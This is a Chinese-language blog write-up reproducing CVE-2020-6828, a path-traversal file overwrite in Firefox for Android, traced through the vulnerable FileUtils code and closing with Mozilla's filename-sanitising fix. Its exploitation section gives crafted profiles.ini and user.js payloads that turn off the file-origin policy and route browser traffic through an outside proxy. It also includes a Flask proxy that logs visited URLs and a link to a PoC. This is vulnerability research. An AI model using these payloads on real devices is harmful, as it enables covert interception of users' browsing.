CVE-2020-6828 复现

参考相关博客,对CVE-2020-6828进行复现。该漏洞因为没有对文件名变量进行处理,导致任意文件覆盖。

CVE-2020-6828

参考文章:CVE-2020-6828:Firefox for Android任意文件覆盖漏洞分析 | Blog (ssologin.xyz)

漏洞分析

下载对应版本的Firefox for Android 源代码:/pub/mobile/releases/68.5.0/source/

Firefox允许外部应用调用它打开一个链接,或者说URI,这是一个合理的功能。
负责具体处理的是org.mozilla.gecko.LauncherActivity,目录是\firefox-68.5.0\mobile\android\base\java\org\mozilla\gecko\LauncherActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class LauncherActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

final SafeIntent safeIntent = new SafeIntent(getIntent());

// Is this deep link?
if (isDeepLink(safeIntent)) {
dispatchDeepLink(safeIntent);

} else if (isShutdownIntent(safeIntent)) {
dispatchShutdownIntent();
// Is this web app?
} else if (isWebAppIntent(safeIntent)) {
dispatchWebAppIntent();

// If it's not a view intent, it won't be a custom tabs intent either, and for content URI
// let's handle only with normal tabs for the moment
} else if (!isViewIntentWithURL(safeIntent) || isContentUri(safeIntent.getData())) {
dispatchNormalIntent();

} else if (isCustomTabsIntent(safeIntent) && isCustomTabsEnabled(this) ) {
dispatchCustomTabsIntent();

// Can we dispatch this VIEW action intent to the tab queue service?
} else if (!safeIntent.getBooleanExtra(BrowserContract.SKIP_TAB_QUEUE_FLAG, false)
&& TabQueueHelper.TAB_QUEUE_ENABLED
&& TabQueueHelper.isTabQueueEnabled(this)) {
dispatchTabQueueIntent();

// Dispatch this VIEW action intent to the browser.
} else {
dispatchNormalIntent();
}

finish();
}
}

最终来到org.mozilla.gecko.IntentHelper.openNoHandler,在这里完成对传入的Uri的检查和处理。
(如何跟过来还需要尝试多种追踪方法,只用frida打印调用栈还不够。不过目前看来是创建了handler通过回调完成的,在org.mozilla.gecko.IntentHelper.handleMessage()中调用了openNoHandler()

如果传入的Uri是Content Uri,用FileUtils.resolveContentUri去解析该Content Uri
目标文件路径为:firefox-68.5.0\mobile\android\geckoview\src\main\java\org\mozilla\gecko\util\FileUtils.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void openNoHandler(GeckoBundle geckoBundle, EventCallback callback){
......
String theUri = geckoBundle.getString("uri");
if(FileUtils.isContentUri(theUri)) {
String resolveContentUri = FileUtils.resolveContentUri(IntentHelper.getContext(), intentParseUri.getData());
if(!TextUtils.isEmpty(resolveContentUri)) {
mGeckoBundle.putString("uri", resolveContentUri);
mGeckoBundle.putBoolean("isFallback", true);
}
callback.sendError(mGeckoBundle);
return;
}
......
}

关注Uri解析方法resolveContentUri()。(不知道字段填充和回调操作的具体作用)

1
2
3
4
5
6
7
public static String resolveContentUri(final Context context, final Uri uri) {
String path = getOriginalFilePathFromUri(context, uri);
if (TextUtils.isEmpty(path)) {
path = getTempFilePathFromContentUri(context, uri);
}
return !TextUtils.isEmpty(path) ? String.format("file://%s", path) : path;
}

个人理解:既然接收到了来自外部的Uri,应该去尝试解析看看它到底是个什么玩意儿。
可能指向一个文件,例如用浏览器打开图片什么的。那么就先用ContentUriUtils.getOriginalFilePathFromUri()去看看有没有这个文件,有就返回文件的绝对路径。
也有可能指向一个content provider中的资源,还没有保存为文件。那么就用ContentUriUtils.getTempFilePathFromContentUri()去把这个资源读出来保存为文件,然后也返回文件的绝对路径。
先解析文件,如果为空,再尝试解析content资源。

重点关注getTempFilePathFromContentUri()方法,它的缺陷就是通过getFileNameFromContentUri直接把content_display_name_字段读出作为文件名,直接拼接到目录后面作为文件的绝对路径。
没有经过处理的文件名变量可能导致任意路径的文件覆盖。
源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 public static @Nullable String getTempFilePathFromContentUri(final Context context, final Uri contentUri) {
//copy file and send new file path
final String fileName = FileUtils.getFileNameFromContentUri(context, contentUri);
//从content中获取_display_name_字段作为文件名返回
final File folder = new File(context.getCacheDir(), "contentUri");
// 构造目录/data/data/<package-name>/cache/contentUri
boolean success = true;
if (!folder.exists()) {
success = folder.mkdirs();
}
if (!TextUtils.isEmpty(fileName) && success) {
File copyFile = new File(folder.getPath(), fileName);//直接拼接文件名和目录,可能覆盖任意路径
FileUtils.copy(context, contentUri, copyFile);
return copyFile.getAbsolutePath();
}
return null;
}
//FileUtils.getFileNameFromContentUri(),读取uri的_display_name字段直接返回
public static String getFileNameFromContentUri(final Context context, final Uri uri) {
final ContentResolver cr = context.getContentResolver();
final String[] projection = {"_display_name"};
String fileName = null;
try (Cursor metaCursor = cr.query(uri, projection, null, null, null);) {
if (metaCursor.moveToFirst()) {
fileName = metaCursor.getString(0);//直接返回字段值,没有任何处理
}
} catch (Exception e) {
e.printStackTrace();
}
return fileName;
}
//FileUtils.copy() 从srcUri中读取内容保存到dstFile中,事实上应该是打开对应文件的Stream
public static void copy(final Context context, final Uri srcUri, final File dstFile) {
try (InputStream inputStream = context.getContentResolver().openInputStream(srcUri);
OutputStream outputStream = new FileOutputStream(dstFile)) {
IOUtils.copy(inputStream, outputStream);
} catch (Exception e) {
e.printStackTrace();
}
}

getOriginalFilePathFromUri()大概是在把传入的Uri当作一个文件资源来处理,对漏洞分析的关系不大。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
public static @Nullable String getOriginalFilePathFromUri(final Context context, final Uri uri) {
// DocumentProvider
if (Build.VERSION.SDK_INT >= 19 && DocumentsContract.isDocumentUri(context, uri)) {
// ExternalStorageProvider
if (isExternalStorageDocument(uri)) {
final String docId = DocumentsContract.getDocumentId(uri);
// The AOSP ExternalStorageProvider creates document IDs of the form
// "storage device ID" + ':' + "document path".
final String[] split = docId.split(":");
final String type = split[0];
final String docPath = split[1];

final String rootPath;
if ("primary".equalsIgnoreCase(type)) {
rootPath = Environment.getExternalStorageDirectory().getAbsolutePath();
} else {
rootPath = FileUtils.getExternalStoragePath(context, type);
}
return !TextUtils.isEmpty(rootPath) ?
rootPath + "/" + docPath : null;
} else if (isDownloadsDocument(uri)) { // DownloadsProvider
final String id = DocumentsContract.getDocumentId(uri);
// workaround for issue (https://bugzilla.mozilla.org/show_bug.cgi?id=1502721) and
// as per https://github.com/Yalantis/uCrop/issues/318#issuecomment-333066640
if (!TextUtils.isEmpty(id)) {
if (id.startsWith("raw:")) {
return id.replaceFirst("raw:", "");
}
try {
final Uri contentUri = ContentUris.withAppendedId(
Uri.parse("content://downloads/public_downloads"), Long.valueOf(id));
return getDataColumn(context, contentUri, null, null);
} catch (NumberFormatException e) {
return null;
}
}
} else if (isMediaDocument(uri)) { // MediaProvider
final String docId = DocumentsContract.getDocumentId(uri);
final String[] split = docId.split(":");
final String type = split[0];

Uri contentUri = null;
if ("image".equals(type)) {
contentUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
} else if ("video".equals(type)) {
contentUri = MediaStore.Video.Media.EXTERNAL_CONTENT_URI;
} else if ("audio".equals(type)) {
contentUri = MediaStore.Audio.Media.EXTERNAL_CONTENT_URI;
}

final String selection = "_id=?";
final String[] selectionArgs = new String[] {
split[1]
};

return getDataColumn(context, contentUri, selection, selectionArgs);
}
} else if ("content".equalsIgnoreCase(uri.getScheme())) { // MediaStore (and general)
// Return the remote address
if (isGooglePhotosUri(uri))
return uri.getLastPathSegment();

return getDataColumn(context, uri, null, null);
} else if ("file".equalsIgnoreCase(uri.getScheme())) { // File
return uri.getPath();
}

return null;
}

综上所述,FileFox会基于读取的文件名构造文件路径,并从content provider中去读取资源写入对应文件中。
因为文件名可控且没有经过合理的处理,于是可以构造诸如../../file的文件名跳出当前目录。
我们可以构造恶意content providerUri然后调用FireFox去访问,达到的效果是FireFox会覆盖掉权限内的指定文件。

漏洞利用

文件覆盖只是漏洞的表现,如何利用该漏洞形成一定的威胁呢?
这里沿用漏洞提交者的思路,通过覆盖关键的配置文件修改FireFox的配置,进而对用户形成威胁。
具体思路如下:

  1. /data/data/org.mozilla.firefox/files/mozilla/profiles.ini是Firefox的配置文件,其中的Path字段记录了Firefox的工作路径,一般是一个随机目录名。在这个目录中,会有一个prefs.js文件,记录的Firefox的相关设置参数,通过about:config可以在浏览器中设置参数修改该文件。或者在工作目录中配置user.js文件来修改浏览器设置。
  2. 先覆盖profiles.ini,修改Path=.,把工作路径换成/data/data/org.mozilla.firefox/files/mozilla/
  3. 再创建/data/data/org.mozilla.firefox/files/mozilla/user.js文件,修改浏览器配置。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//profiles.ini
[Profile0]
Name=default
Default=1
IsRelative=1
Path=.

[General]
StartWithLastProfile=1

//user.js 关闭同源策略,再设置一个8.8.8.8:8888的代理服务器
user_pref("security.fileuri.strict_origin_policy", false);
user_pref("network.proxy.http", "8.8.8.8");
user_pref("network.proxy.http_port", 8888);
user_pref("network.http.max-persistent-connections-per-server", 4);
user_pref("network.proxy.type", 1);
user_pref("network.proxy.socks_remote_dns", true);
user_pref("network.proxy.ssl", "8.8.8.8");
user_pref("network.proxy.ssl_port", 8888);

Payload程序工作流程:

  1. 释放profiles.iniuser.js到指定目录。
  2. PayloadApk调用firefox先后访问这两个文件的Uri,覆盖配置文件,开启Firefox的代理设置。
  3. 在Payload的content provider中,可以使用MatrixCursor模拟返回,重写public ParcelFileDescriptor openFile(Uri uri, String mode)修改Uri对应资源的路径。
  4. 修改配置之后,重启Firefox,可以看到浏览器通过代理访问网站。

在代理服务器上,简单写一个flask观察访问流量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, request, Response, json, jsonify, make_response
import requests

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False

@app.before_request
def proxy():
print("request url:", request.url)
return {"msg": "you are visiting " + request.url}
mheaders = {h[0]: h[1] for h in request.headers}
return requests.request(request.method, request.url, data=request.json, headers=mheaders).content


if __name__ == '__main__':
app.run('0.0.0.0', 8888)

复现代码:slient2009/CVE-PoCs (github.com)

漏洞修复

对获取到的文件名进行清洗,返回真正的文件名。

⚙ D65339 Bug 1617928 - Sanitize “content” uri filenames; r?AndreiLazar,snorp (mozilla.com)

image-20210909120835823

Welcome to my other publishing channels